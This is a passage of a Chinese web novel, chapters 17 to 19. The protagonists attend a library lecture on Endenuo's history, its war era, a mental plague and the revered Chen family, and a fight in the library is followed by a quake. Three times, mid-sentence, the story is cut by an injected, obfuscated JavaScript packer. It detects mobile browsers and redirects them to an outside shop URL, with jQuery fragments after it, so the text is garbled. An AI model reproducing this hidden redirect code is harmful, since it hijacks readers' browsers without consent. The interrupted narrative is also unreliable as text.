沉皑问他:“你在干什么?” 见他回来,时咎翻身起来,朝他伸手:“通行证。” 沉皑皱眉:“什么通行证?” 时咎“啧”了一声干脆从沙发床上站起来了,他走到沉皑面前,把胳膊肘搭在沉皑肩上,对他说:“我去图书馆,但是我没有借阅证,也没有通行证办理借阅证,我说我什么都没有,沉皑让我来的,那个管理员很震惊地看着我,最后对我说……” “那你去找沉先生拿他的通行证吧。” “我怎么感觉她当时有点想看我笑话的意思?”时咎回想起刚刚的画面,竟然觉得自己被嘲讽了,而旁边路过听到他们对话的人,反应也大同小异,议论、或是嫌恶。 听到这,沉皑居然笑出来,顿时感觉刚刚在掌权者大楼不愉快的事散开了。 “你还笑?” 沉皑站起来,从衣服里拿出了他的通行证递给时咎,淡淡道:“拿着吧,我暂时用不到。” 时咎狐疑地从沉皑手里接过通行证时,无意瞥到了他的左手手腕。 通常情况下,沉皑都穿着一身黑,将自己整个身体都裹住,很少露出别的皮肤,所以也一直没有关注到,但在他递出来的时候,时咎却看到了他手腕处竟然还有纹身,而且是一串数字沿着手腕纹了一圈。 时咎诧异道:“你还有纹身?纹的什么?三个5?” 后面没看清。但沉皑迅速把袖口往下扯了下,淡声说:“没什么。” “哦。” 沉皑环视了一下自己的办公室,犹豫半晌,问时咎:“你去图书馆?” 时咎答道:“嗯,我想了解一下恩德诺。” 沉皑点头,往前走了一步,侧头说:“我和你一起。” “嗯?”时咎皱眉,“跟我一起做什么?” 沉皑:“监视。” 时咎:“……” 时咎暂时没有问大提琴的事。 17. 第 17 章 海安市连日雨,梦里的世界连日晴,但晴朗的日子不多,也开始了连绵的阴雨。两人下来的时候刚好就是,明明阳光还剩一些,在室外地板的瓷砖上照得透亮,但雨就这么毫无征兆地落下来了。 时咎叹了一口气,心想是不是他的现实世界突然半夜打雷下雨,雨声已经影响到他的潜意识了。 脚步在起源实验室门口顿了一会儿,沉皑说:“我回去拿伞。” “好。” 时咎转头看了眼沉皑总是显得坚定有序的背影。他有时候觉得,沉皑这个人很冷漠,有时候又觉得他只是对不必要的事冷漠,好像一直都轻描淡写的,但某一瞬间又有些温柔?他不能完全理解沉皑,但好像又明白一些。 门口的人朝他微微鞠躬,沉皑下来后,也朝沉皑鞠躬。 “沉先生。” “嗯。” 每次他走在外面,好像总是有人对他侧目,对他尊重。时咎这次特意关注了,他发现确实会有人对沉皑行注目礼,现在回想起来,好像从一开始就是这样,他们在敬畏沉皑,沉皑并不是什么最高权限的领导人,那是为什么? 沉皑见他一直左顾右盼,淡淡道:“在看什么?” “很奇怪的事。”时咎说,“好像有一些人,对你格外恭敬?虽然有的人不会表现出来,但他们的眼里,都是一种敬畏的神情,为什么?” 沉皑闻言,笑了下,见同一把伞下的另一边,时咎的肩有点湿,便将伞往他那边偏了一点。 这个动作做出之后沉皑自己也有些诧异,因为他并没有想着如果淋湿对方,会让对方感冒的,但他通常都会这么想,他会判断哪些举动、哪些话、哪些表情会给人带来什么感受,这些感受会让别人做出什么反应,脑海里有了逻辑链,再做出相应的行为——他的行为是有目的的,出于某种心理。 刚刚的行为,他并没有在脑海里形成逻辑链,假如不做会如何,假如做了会如何,而是脑子空白时候,身体自动化的选择。他忽然感觉到一些不寻常的东西在体内流窜,并不是自发的,而是一种久违的感觉。 时咎偏过头看他,在等他的答案。 沉皑缓缓道:“他们不是对我个人的尊敬,是对我家族的尊敬。” 绿化带在雨的滂沱下越发青翠,连着青石碑也被冲刷得明净,显得它上面的字更是耀眼。一股和着泥土的草香传来,承载的是千万年自然传承的气息,这些气息向下沉淀,最终氤氲在青石碑柔和的字上。 爱是一切的答案。 文明中心不远处,几栋极其有艺术设计感的建筑耸立在那。它们围成一圈,中间也是一个极大的广场,广场正中央有一栋比周围所有楼都高的建筑,一栋用银色玻璃搭建的细窄高楼,但细看发现那是一座钟楼,玻璃在阳光下折射出梦幻的光影。 云兴霞蔚,五彩缤纷。 “好漂亮。”时咎看着这些建筑,自言自语喃喃,“这居然是,图书馆的设计吗?” 沉皑微微侧头,那一幕让他觉得有些意外。 时咎仰着头,看向那些建筑,阳光丝毫不吝啬地在他眼里点缀成了某种畅想,他的神情像忠诚的教徒看向他的神明,向往着他的信仰。 那一瞬间沉皑想起了之前自己做的那个梦,和梦里安静的时咎。 “你很喜欢这些?”沉皑问,“上次你看到有个女生的裙子也是。”好像很少会有人去关注身边的东西所拥有的艺术美感,但他却总是一眼便发现这些。 时咎从震惊里出来,但他的目光依旧黏在那边,喃喃道:“喜欢。” 接着他指向玻璃钟楼旁边的建筑,说:“那栋建筑,你知道盖蒂美术馆吗?啊你肯定不知道,它们很像,是一种以‘顺应自然’为理论基础的建筑风格,化繁为简、追求自由,是自然里最本质的美。” 沉皑顺着他的目光看向那栋已经看过无数次的白色建筑,似乎真的能感受到他所说的自由。 “我喜欢这里。”时咎说。 沉皑笑:“喜欢就好。” 图书馆的顶楼高达十米,颇有魔法城堡的意思。深棕色的墙上密密麻麻全是藏书,书籍的味道与木质的味道,混合成令人谦卑的求知。 穹顶则是深空色大型星象图,绘制着宇宙中某些星系的位置和相应说明,而抬头看着这个星象图,被宇宙注视的感觉便扑面而来——人们站在这儿,只能仰望。 顶楼宏伟的空间边缘,蛰伏着一个稍微偏小的空间,但也足够巨大,看上去像一个展厅或者大型教室。正面的墙是一个宽阔的弧形荧幕,两侧还是浩如烟海般的藏书,中央的空间摆放的则是一排排的书桌,书桌的样子让时咎想起了去过的那些教堂,信徒们坐着祈祷的地方。 此时,这些地方坐满了小孩子,偌大的空间竟也没留几个空位,他们在互相小声说话,但由于地方太大,各种空间反射声包裹着干声,显得又过于悠远。 两人在靠后的地方挑了一个位置坐下,刚坐好,最前方荧幕处便有人走过去了。 “小朋友们安静,我们要上课了。”温柔的女声从话筒直到音响,声音迅速传遍这个大厅每个角落,接着便安静下来。 沉皑偏过头对时咎小声说:“你运气不错。这个图书馆每个月会开展一次回溯历史的活动,面向所有公民,每个在校学生都会依次参加。” 时咎轻点头,问:“会讲什么?” “恩德诺近代史,一般会从两三百年前讲起。” “为什么是两三百年前?” 沉皑轻声道:“因为对于恩德诺来说,那是一次历史的转折。现在的公民们生活得很幸福,是当时的公民换来的,那段历史不能只成为故事,所以学校课堂一定会详解,图书馆会让他们有些身临其境的感受。” 时咎望向最前方,看到那块大型荧幕开始播放画面,而四周的书架上也被印上了画面,他这才注意到原来连地板也是某种荧幕做成的,整个大厅就像一个高维全息世界。 这让小朋友们很入迷。 柔和的音乐在大厅里响起,那是一种近乎冥想音乐的宁静,只有长线条和谐的和弦。 历史是从宇宙大爆炸模型开始。或许受梦境和做梦的人的影响,从一百多亿年前开始的故事和时咎认知的故事出入不大,荧幕一一展现着可知的宇宙,以及这颗他们生存的星球。 它展示如何有了生物,生物如何演变,又如何发展成大家熟悉的面貌,最后如何建立部落、村庄、城池、国家和文明。恩德诺这颗星球的文明直到两百多年前还和地球类似,但后来出现了分岔。 音乐里出现了手鼓、沙锤、三角铁等很多不同打击乐的音色,它们彼此独立演奏,又能完美融合。声音从四面八方的音响传来。 画面出现了两波人,中间有一座小山,原本可以平分,可一波人拼命把小山往自己的地方搬运,另一波人没人敢站出来,于是他们变成了奴隶,祈求对方把本属于他们的东西施舍给他们,为此他们愿意付出相应的劳动。 时咎也把胳膊放在桌上,双手捧着下巴和前方的小朋友一样,听得很认真。 恩德诺文明的不平等最初来自于人们的自私,他们企图将一切私有化,以此来划界限,将本不应该属于私人的东西全部囊括进自己的安全岛内,人们争先恐后效仿,于是私有制和相应的制度产生,整个文明就像一个巨大的、处于口欲期的婴儿,每个人都喜欢说那句话:我的我的,全是我的。 虽然这催生了社会制度的产生,促进文明发展,在整个弱肉强食的历史进程里,人们也发展出了物质富足的社会,又因为对曾经物质缺乏的防御而过度依赖物质,甚至囤积物资,但物质的富足和人们对物质的需求是有上限的,达到一定程度后就会产生边际递减效应。人们开始将盈余用来挥霍而不是创新。 音乐突然出现重低音,一些合成器的声音在整个音乐里横冲直撞,撞得整个大厅的地板轻轻颤抖,前面有小朋友捂住了眼睛大喊出声。 从那开始,文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187309|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明退化、经济衰退,得失心膨胀的人们抛弃了信仰,都沉浸于精打细算。 他们只注重私人享受的既得利益,顾此失彼、道德低劣、情感缺失,想着如何更有利于自己,坚信着“没有永远的朋友和敌人,只有永远的利益”等等所谓的真理。 在这样的环境下,原本进步的文明逐渐停止,艺术文化活动减少,但他们不屑于精神的学习,喜欢快速分泌多巴胺的快餐活动,喜欢快进、快读、快速获得一切信息,为了迎合大部分人,模板化公式化和套路化的东西增加。 不加思考地输入,输出也仅限于眼之所见的一亩三分田,于是文盲又逐渐增加。 “天下熙熙,皆为利来;天下攘攘,皆为利往”,这样的“俗话说得好”,成为了潜逃的语言盾牌,好像仰仗了先贤的声威,一切便是正确。他们眼里只有利益,因为利益又捆绑成利益网,最后谁也逃不出这个狂欢地狱。 对有限资源的抢夺,使得后期恩德诺数百个国家开始互相掠夺与残杀,整个世界陷入空前的混乱无序。在那两百年里,文明解体、种族灭绝、环境污染、世界人口迅速下降等等,人们将这段历史称为末法战争时期。 “末法战争?”时咎惊讶道,还好音乐声掩盖了他的声音不至于太突兀,他又立刻压低声音靠在沉皑耳边问,“这样的名字,你们的文明里也有佛的学说?” “也有?”沉皑反问,随即又好像明白了,微微点头。 “有别的吗?基督教?”时咎问。 “有。”沉皑说,“但后来的人信仰最多的是道启教。” “那是什么教?” 沉皑想了想说:“一种主张因果,信奉天意天道,大爱大义的教派,和佛与基督有重合的部分,但里面内容很多,你有空在楼下也可以找到书。” “好。” 音乐变得刺耳,很多不和谐的声音混杂在同一个小节里,频率打架得厉害。 在当时,大部分的人都烂进了骨子里,不信爱、没有爱,焦虑也充满执念,只有一小部分人还在坚守底线,他们呼吁人们不要固执于眼前的得失而难以看到更深远的未来。他们围成一圈,背靠着背,以互相信任和坚持信仰与信念来抵御被历史漩涡吞噬的命运。 屏幕里出现了两个人的画像,一男一女两位慈祥的面孔,各自的画像下是他们各自的名字。 沉初光,季雨雪。 时咎顿感呼吸一窒,脑子里冒了很多可能性出来,不可置信,最后他侧目看向沉皑,却见他微微点头。 沉、季两个庞大的家族,在当时极度混乱的年代,献出自己所有的盈余在各地帮助那些痛苦无明的人,将他们从物质和精神的炼狱里拉出来。 吃不饱就给他们吃的,穿不好就给他们做衣服,精神崩溃就为他们解说道启教的信念,有敌人攻来,就团结防御。 在一个混乱的大世界里,逐渐形成一个微型的小社会。也就是那个时候开始,人们逐渐发现竟然有“能力”这样的存在,而且在沉、季两家里,有能力的人还不少,于是人们觉得,他们就是神明在现世的化身,来拯救身处地狱的子民。 但他们禁止造神与封神,也不是所有人都得到了他们的庇护,他们并不是所有人都企图拯救。 在那几百年里,整个世界就像一场神魔大战,如果人心还有微光,光才可能被得以放大,而被魔性吞噬的人,那些杀红了眼的人,他们也会选择放弃。 音乐里混乱的战鼓敲得每个人的心跳都在加快,血液流速也变快了。荧幕画面剧烈变换,战火的光红透整个大厅。 战争胜负都是常事,但那时候的人很执着于宴席,胜仗败仗都要大摆,胜利了便庆功,失败了就说是重振旗鼓,所有普通公民们吃不到的鱼肉酒全在战争前线里被耗尽。 最后,神明降下了祂的责罚,一场全球性瘟疫结束了这一切。留下了曾经总数不到十分之一的人口,这已是神的仁慈。 屏幕出现了三个大字:虚疑病。 18. 第 18 章 “这具体是什么样的病?”他又侧过头小声问,嫌两个人距离太远,每次问都要扭着身体凑过去,便往沉皑身边挪了挪,轻轻贴着他,两个人完全并排在一起。 沉皑斜他一眼,并没有反对他的动作,他轻描淡写地说:“最开始是一种传染病。早期大多通过肉食和酒传播,所以那些打仗的人是第一批。病菌通过食物进入身体,吸附在肠粘膜上,人体察觉不对就会攻击病菌,但是病菌死亡后又释放大量肠毒素,这种毒素会阻碍人体吸收营养,反而促进血液排出,最后某一刻突然发病死亡。” 时咎屏住呼吸差点没控制住音量,他小声惊呼:“是霍乱!” 沉皑看了他一眼,便听他补充道:“我们那儿,接近两百年前也有类似的疫病,叫霍乱,症状也很类似。” 所有肌肉系统都会受到损害,小腿、大腿、手臂、躯体都会抽筋,连躺在床上也让人无法忍受。即使在死后,肌肉依然会如同丧尸般猛烈抽搐,身体持续长时间地颤抖[4]。 沉皑微微点头,继续道:“这是早期。不过因为士兵大量死亡,所以战争被迫中止了很长一段时间,这个传染病也就慢慢消停了。” 说到这,时咎听到他轻声的叹息。 他接着说:“短暂的和平带来更多战争,虚疑病就又卷土重来了,而且这次它直接攻击人的精神。” 刚好屏幕放到虚疑病的症状,出现了很多幻觉一般的画面,这些图像扭曲不清,像烟像雾,像鬼怪也像猛兽,吓得有的小孩子直跺地,甚至想往桌子底下钻,可桌子底下的屏幕同样播放着这样的画面。 如同当年的虚疑病给人的压迫感——无处可逃。 有字在前方显示:虚疑病,主要通过空气传播,引发人的惊恐症躯体化,不信任任何人,产生幻觉,怀疑一切事物。 原来是这样。时咎想起自己在监狱遇到的那个疯癫一般的青少年。 “是一种心理病,最后大部份人是自杀,或者被同样发病的人误杀。它的可怕在于,这个病会让人活成一座孤岛,可是没人可以成为单独的意志,人的存活不仅是因为熟知人的关心,还有陌生人的劳动成果,你知道你吃的饭没有在种下的时候就被人故意喷洒了毒药,你知道卖给你的东西包装里面没有安放炸弹。但是得虚疑病的人却会,他们恐惧和怀疑一切,最后在极度恐慌里自杀,或者杀掉别人。” 沉皑的声音轻轻在耳边,时咎打了一个寒颤,没分清是因为他说的话还是因为他。 “这个病没有办法根除。”沉皑说。 时咎:“那?” 沉皑道:“虚疑病到现在没有找到感染原因,依然偶尔会有感染者的消息,从自己察觉不对到彻底疯狂最多一个月,没人知道这个病是怎么找上自己的。” 无法根除的怀疑和恐慌,不知何时会轮到自己的恐惧,没有征兆,没有原因。时咎反而觉得,这不是瘟疫的结果,而是瘟疫将人们内心本身就存在的东西勾了出来。本身就存在的人性,怎么可能根除。 “一旦感染怎么办?”时咎问。 沉皑淡淡道:“目前医疗技术达不到根除,运气好在初期可以缓解,一旦有明显发病症状,基本就是死。可以击毙,也可以让他们自行解决。” 所以如果患上这种病,几乎等于死刑。 历史的巧合在于,活下来的人,大多都是最初跟随了、或者曾得益于沉、季两家的人,也有他们的后代,他们在那个年代尝试彼此信任,共渡难关,破除不信。没人再想继续动乱的生活,人们很想握手言和,但又没人相信对方阵营真的在自己停手后也停手,各方僵持不下。 音乐终于平息一些,喧哗刺耳也变得柔和多了。 荧幕上出现了季雨雪的脸,下面描述了她的生平。 季雨雪:科学家,合成生物学家,涉及生物计算、多重诊断、基因组编辑、活体疗法和生物基化学品等多个领域。能力:物质透明化。她最后的科研(未实现):创建出可通过生物力学线索控制的人工纳米环境,将有超分子尿素-嘧啶酮的分子纳入人工纳米环境中,最终用于封装肾脏器官[5]。 在互相不信任的时局里,季雨雪竟然利用她的能力和她在合成生物学方面的成就,创造出了将人的思维透明化、可以意识交流的工具,用这个工具在自己的身上实验,在季家与沉家身上不断实验,最后竟然成功了。人们纷纷表示愿意加入这项实验。 物种起源法案应运而生。 沉皑拿下巴示意了一下屏幕,对时咎说:“起源实验室的来历。” 人们知心,互相信任,百年动乱至此终结。 荧幕上打了一段话:战争平息后,因为沟通语言化变成意识化,巴别塔倒塌,仅存的国家开始合并,文化融合,语言融合,这段历史被称作大融合时代。 以国家为单位的领导逐渐失去意义,公民们不再需要各自的领导,掌权者法案诞生了。 过去成为历史,现在影响未来。 音乐淡出的最后,荧幕上还打出了一行字:在历史中,善本身就是奖励,恶本身就是惩罚。 荧幕一黑,大厅的灯光就亮了起来,讨论的声音瞬间爆发出来。 时咎长呼一口气,感觉自己走过了百年兴衰,再看向沉皑的眼神带上了一些难以言喻的情绪。 小孩子们兴奋和激动的声音此起彼伏,他们互相讨论,在整个大厅闹出了上千人的气势。 突然,前排有小朋友举手提问:“老师!那当时帮助过大家的那两个家族呢?现在在哪?” 时咎眨眨眼看着沉皑,心想:你现在转头,这里就有一个。 站在荧幕前的女性拿着话筒温柔道:“有掌权者法案后,第一位掌权者是季雨雪小姐,所以后世季家也一直在掌权者的位置上。不过他们人数众多,活动在各个领域,其实已经分不清谁才是季小姐那一支,现在看到的基本不是历史上的季家,或者是远到没有关系的人。” 时咎突然想到什么,问沉皑:“诶?那季水风和季山月……” 沉皑知道他想问什么,笑道:“不巧,他们就是没有关系的那部分人,姓季而已。” 时咎“哦”了一声。 说着,最前方的老师又介绍:“我们的掌权者有两位,原本掌权者还有沉初光先生,当时做出的贡献不亚于季小姐,公民希望他们共同成为掌权者,但是在和平来临的时候,他觉得掌权者的存在是多余的举动,拒绝了成为掌权者的邀请,直接带着整个沉家归隐了。” “公民还不习惯没有领导,那个时候,有在权力面前坚毅选择转身的人,如果要我自私浅薄地评价,我认为那是圣人。后面的百年,沉家都只以慈善为主,直到今天,他们也只在各种孤儿院、养老院、教堂和其他公民们需要帮助的地方出现,我们的文明很多慈善项目都是依靠他们。甚至因为他们家深信道启教,带动整个文明大多数人也有了信仰。不过沉家不入世,行事极其低调,所以百年传承也没有别的分支,很好辨认,他们有一个明显的特点,就是深蓝色眼睛,如果大家在某个地方看见蓝色眼睛的人,一定记得向他鞠躬。” “好!!”下面激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187310|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂的声音一片。 时咎愣住了,他从未想过,虽然也注意到周围的人只有沉皑一个人的眼睛颜色不一样,但并未想过有什么来历,竟然是一个历史的烙印。 想到这,时咎便明白为什么人们会有那样的举动、那样的尊敬,也突然知道,为什么自己称呼他为“蓝眼睛的家伙”时,别人的反应都说不出的古怪。 时咎扭头,竟见沉皑竟然把头埋下去了。 时咎:“你干嘛低头?” 沉皑低声说:“不会应付小孩子。” 时咎:“……” 一时间竟觉得他有些意外的……可爱? 地板和四周的荧幕渐渐熄灭,变成了原本的模样,只留了正前方的大荧幕依然在闪回画面,上面的老师还在讲:“那以后,人们开始学着互相信任,沟通意识化很好辅佐这一点,他们发现,所有的感情里,爱是唯一拥有无限凝聚力的东西,它能跨越一切人们所想所知,跨越物理法则。抱着对自己的爱,对他人的爱,对世间万物的爱与仁慈,做永不停歇的精神向上者。” “这也是沉初光先生后来一直向人们传达的信念。如果大家有去过文明中心广场逛一逛,一定也可以看到中央石碑上写着:爱是一切的答案。那是沉初光先生说过的话,也在战争结束后很长的时间里,成为公民的精神支柱。” 突然沉皑碰了碰时咎,他站起来弓着身子说:“我先回实验室了,还有事要处理。” “啊……”时咎愣一下,便也点头。 沉皑埋头沿着大厅边缘,半阖着眼,从一堆学生中穿行而过,最后离开。 时咎觉得,他不是有事要处理,是怕等会儿结束了课程,小朋友们开始自由活动时发现他,所以逃跑了。 还真的有点无法想象沉皑那样的人被一群小朋友围着是什么画面。但怎么有点想知道呢? 等到历史公开课结束,大家有序离开。图书馆管理员第二次看到时咎态度就变了,她见时咎走出来,便主动迎上去跟他说话:“抱歉这位先生。” 时咎停下脚步。 “那会儿不是故意想为难您,只是我认为您不该拿沉先生的名字来欺骗,但我刚刚看到您真的和沉先生在一起……很抱歉是我以己度人。您还没成年吧?沉先生身边的小朋友,一定也是很好的人。”她的道歉很诚恳,说话的声音也让人赏心悦目。 时咎轻轻摇头:“没,是我冒犯了。” 图书馆的人一直很多,一楼边缘有一个区域是宗教区域,摆满了各种时期的宗教学说,但之前沉皑所说的道启教,藏书是最多的,而且每天都有小型座谈会,一次性容纳十多二十个人。为了了解这个宗教,时咎也听过很多天。 原本以为是某种单神或多神的宗教,但听了几天的时咎发现,这是一种和已知宗教都不尽相同的信仰。 它相信天与道,希望人们拥有着信心、信仰、信念:相信天道的判断。天道并不以人道的标准去评判是非,它注重人们的发心起念,始终因果。让人明白一切事物事件的原因,去伪存真、质伛影曲。 历史随时都可以看,但沉皑的命令却不能耽误,时咎每次出现在梦中,沉皑总一言不发看他一眼,然后目光挪到他的脖子处。 虽然沉皑什么都不说,时咎却从那眼神里读到了一句话:我的命令什么时候执行? 明明知道大提琴是一种恩德诺不存在的乐器,却说要听。时咎猜测不到他在想什么。 兵来将挡,如果没有大提琴,他可以设计一种和大提琴类似的乐器,早晚他得把这话套出来。 19. 第 19 章 时咎的房间里摆满了玻璃。他从工匠那儿定做了很多大型玻璃,玻璃的形体和大提琴大致类似,但是没有琴弦,只有四个并排的凹槽当做品,从整个玻璃琴身中间穿过一条金属声到琴头的部位,再分别向两边延伸下来在琴尾汇合成一条长长的尾柱,最终形成一个琴身只有小提琴大小,但是却要像演奏大提琴一样用尾柱支撑的乐器。 这个乐器独特在于,他的金属支撑是电力驱动旋转水流的,因为玻璃琴身里灌注了水,金属支撑旋转,使得里面的水也运作,最终形成了一种介于大提琴和电子pad中间的音色,类似于浸了水的提琴。 原本灵感来自于本杰明的玻璃琴,但时咎觉得那样的音色过于柔和,少了提琴中高频的清脆和诉说感,所以时咎给这个乐器取名叫“玻璃水提琴”。 只是过程不那么美好,从头还没到尾,几十个琴身囤积在家里,总会在某个工序上出点问题导致音色只是差强人意。 跑了数趟图书馆无果,在网上发帖询问一些原理又被网友喷闲的蛋疼,这种人一定没有女朋友,不如出去赚钱买房买车后,时咎便将注意力又放到恩德诺的图书馆去了。 没有人再拦他了,甚至没有让他出示通行证,他便一直在图书馆里。 入梦出现在沉皑身边——大多数时候,他只会出现在沉皑身边,像一个入口——他会主动向沉皑打声招呼,跟他说自己来了,沉皑以点头回应,他就马不停蹄地奔向图书馆。 运气好,连续一段时间都刚好能占到窗边的位置。他刚坐下,旁边也同样坐下了一位女生,她看了时咎好一会儿,开口说:“你好像一直在看制琴……” 时咎抬眼,见对方是一个长头发长相甜甜的女生,她歪着头看时咎:“我这几天刚好坐在这里,我叫小捷。啊,你还没成年?” 时咎不知道如何解释这件事,于是他只能点头,默认自己年龄倒退九岁,是一个长相稍微偏成熟的未成年人。 “你对制琴感兴趣?”她问,“我的专业也涉及制琴的部分,我看你在这儿敲脑袋好几天,要帮你看看吗?” “好啊。”时咎毫不怀疑,直接将草图和设计理念的草纸给她看,“我叫时咎。我最近是在研究一把自制的琴,但是琴身设计的弧度总是有些问题,所以出来的音色不太好。” 小捷仔细看着设计草图,上面勾勾画画好些线条,有的符合科学,有的则不。她看了很久,才抬头对时咎说道:“我想做一些修改的提示写在旁边,如果你觉得这样修改出来的效果你喜欢,就用,不喜欢就不用。” 时咎欣然答应。 小捷轻轻感叹了一声:“你的字好漂亮。” 时咎手撑下巴,说:“谢谢,你也是。” 他突然想到了季水风,那个高瘦的女人,脸部骨骼明显,整体长相偏中性,黑长的头发反而显得更像酷酷的侠女,像是连女孩子看了都会心动的类型。而小捷则是邻家可爱懂事的妹妹,家里人疼爱得紧,所以精致得像高傲的小公主。而那位图书馆管理员,圆润微胖,令人愉悦轻松的气质,还有…… 想到这儿,时咎环视四周,印证了自己的猜想:恩德诺的女性远多于男性。至少他所在的区域是。 小捷在认真帮他画图。 “琴身可以试试瓜式琴型。” “水流速度和注水量也可以修改。” “这儿玻璃的厚度有影响。” 她没有解释原理,但时咎也没有问,只是看着,直到—— “时咎?!”一声巨大的呼喊爆发,在整个图书馆震荡,吓得所有人都抬起了头,并朝他投以不满的神情。 时咎也没反应过来,甚至没分辨出这是谁的声音,但接着他就被从座位上拉出来了。 “可算是遇到你了!” 重重一拳打在他的胸口上,顿时四周响起了惊呼。 吓得小捷立刻将草纸藏在自己的包里,她有些担心来人会把对时咎的不满发泄到他的作品上,可那是人家用心创作的成果! 时咎滚在地上才看到是季山月。突如其来的疼痛激怒了他,时咎下意识还手,但迅速被紧紧接住,还被反手扯了出去。 时咎咬着牙躲。 季山月根本不停手,虽然没有下死手,但还是专挑痛处殴打,一边打一边说:“舟之覆的狗!” 旁边的人混乱地企图拦架的,大喊报警的,一时间从来安静的图书馆喧闹起来。 时咎无法还手,所有力气都用不上,意识的力量用不出,只能咬着牙企图反抗,但立刻又被压制回去。 能不能制止他! 忽然间,地板微微震动,有些没放稳的书不住往下掉,电灯在头上来回晃,晃的幅度越来越大,落下的书越来越多,最后连落地窗也震出波纹,开始有人在尖叫,有人在跑,有人在逃离。 季山月也没料到剧情的发展,他原本就是突然看到时咎,一股火忍不住想过来揍他几拳这事就算了,不然老是拉着一个明显打不过他的人也不是那么回事。 但这突如其来的变故让他傻了眼,他停下手里的动作,惊讶地看向四周,他看到人们在下楼,在往图书馆外面涌,墙体在震动,木板在开裂,甚至还有灰在往下撒,脚下也有些站不稳,好像是地震了。 季山月惊呆了,嘴里喃喃了一句:“我靠这什么情况……” 一排书架便倒了下来。 季山月一拳将书架整个打穿,但第二排第三排书架也紧接着倒下来了,他终于发觉事情失去控制,惊讶地往下看,却看到时咎已经被压倒在书架下。 “喂!时咎!”季山月大喊了一声,声音淹没在排排倒下的书架轰鸣里。 季山月听到了尖叫,他着急地去找尖叫发出的位置,但时咎就在手边,他咒骂了一句,快速徒手掀起整个书架吼了一声:“喂!舟之覆的狗!快给老子起来!” 时咎觉得自己是骨折了,用尽所有的力气,疼得倒抽气,最后被一个非常有力的手给拉起来,却见季山月气冲冲的脸全是着急的表情:“你动得了不?跑啊,先出去!遇到你真倒霉!” 时咎有些听不到声音,他看到季山月去了另一边,那边好像还有被压在书架下的人。 谁遇到谁更倒霉啊! 后面的事时咎有点记不清了,不知道最后是如何出去的,好像梦的情节在某个地方中止,直接跳到了另一个场景。 他听到了一些声音,像每天早上醒来时楼下的洒水车,但到底是没能醒过来。 当晚的新闻里各个频道都在报道图书馆这起没缘由的灾难,公民纷纷看着,个个神情严肃震惊,文明中心接收到不少公民要求一起参与救助和后续图书馆恢复的工作,令人松口气却也让人奇怪的是,图书馆破坏的面积仅限于事故发生的那一层、那个地方,上下和更远的地方则是平静得若不是听到尖叫,人们甚至不知道发生了什么。 新闻画面在播放事故发生地的监控,可以看到一名成年壮实的男性走在图书馆,他原本也只是自己在书架附近徘徊,拿书又放回去,某一刻突然往窗边转过头,静止几秒,突然就大步流星走过去,拖出窗边一位一直坐着没动的男子开始殴打,周围开始骚动,没几秒,镜头也开始晃动,桌子椅子窗户都在晃动,紧接着书架坍塌,直至黑屏。 “太不像话了!” “啪”的一声重重拍桌子的声音。 文明安全管理中心,季山月撇着嘴坐在办公室,季水风在他旁边站着,气得深呼吸好几次都没平复。 她很少这么生气,很少听说季山月有如此逾越的行为,所以当她接到这通电话时,开始的时间里,电话那头说什么她都没能相信,直到安全中心的人押着他回来,而他身上手上到处都是伤的时候。 “你知不知道你的身份?你知不知道自己在做什么?”季水风质问,温柔的气质也收起来,取代的是一股强大的威压。 季山月小声:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187311|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不我也没想到……” “你没想到什么?身为安全管理中心的在职人员,无故在公共场合殴打公民,你,你!”季水风气得快说不出话,“需要出来解释的不止是你,还有安全中心!” 季山月低头:“我错了姐。” 季水风感觉自己再来回踱步,就刹不住了,于是强迫自己坐在沙发上,她沉住气说:“好,我问你,你打时咎做什么?” “他跟舟之覆那杂种联合起来搞沉皑,我那不是看不惯嘛,整我兄弟,沉皑那性格,吭都不带吭一声的,那只有我帮他出头咯。”季山月小声逼逼赖赖。 季水风:“……” 季水风翻白眼:“我……” “我错了姐!”季山月迅速道歉。 “你……哎!”季水风有些懊恼,声音很快就柔下去,柔得像支撑不住当下的情绪,她低落说,“你是我唯一的亲人,有时候我也不知道要怎么照顾你、教你,才能让你健康又正直地长大,怕你过不好,所以也愿意惯着你,但你……” “我真错了姐!”季山月打断她,他害怕季水风这样,他的姐姐是个非常温柔也非常强大的人,唯有在面对跟他有关的事上,她总是非常自责与脆弱,但他不想看见姐姐这样。 “姐你处罚我吧,该怎么处罚就怎么处罚!”季山月200斤壮实的样子在此刻委屈得像一个小孩子。 季水风压住情绪好些时间,才稍稍恢复平静,她站起来,用一种无可奈何的语气说:“我当然知道该怎么罚怎么罚,你这职位暂时是坐不了了,监狱也得蹲一段时间,还得负责其他伤员,向公民公开道歉。” 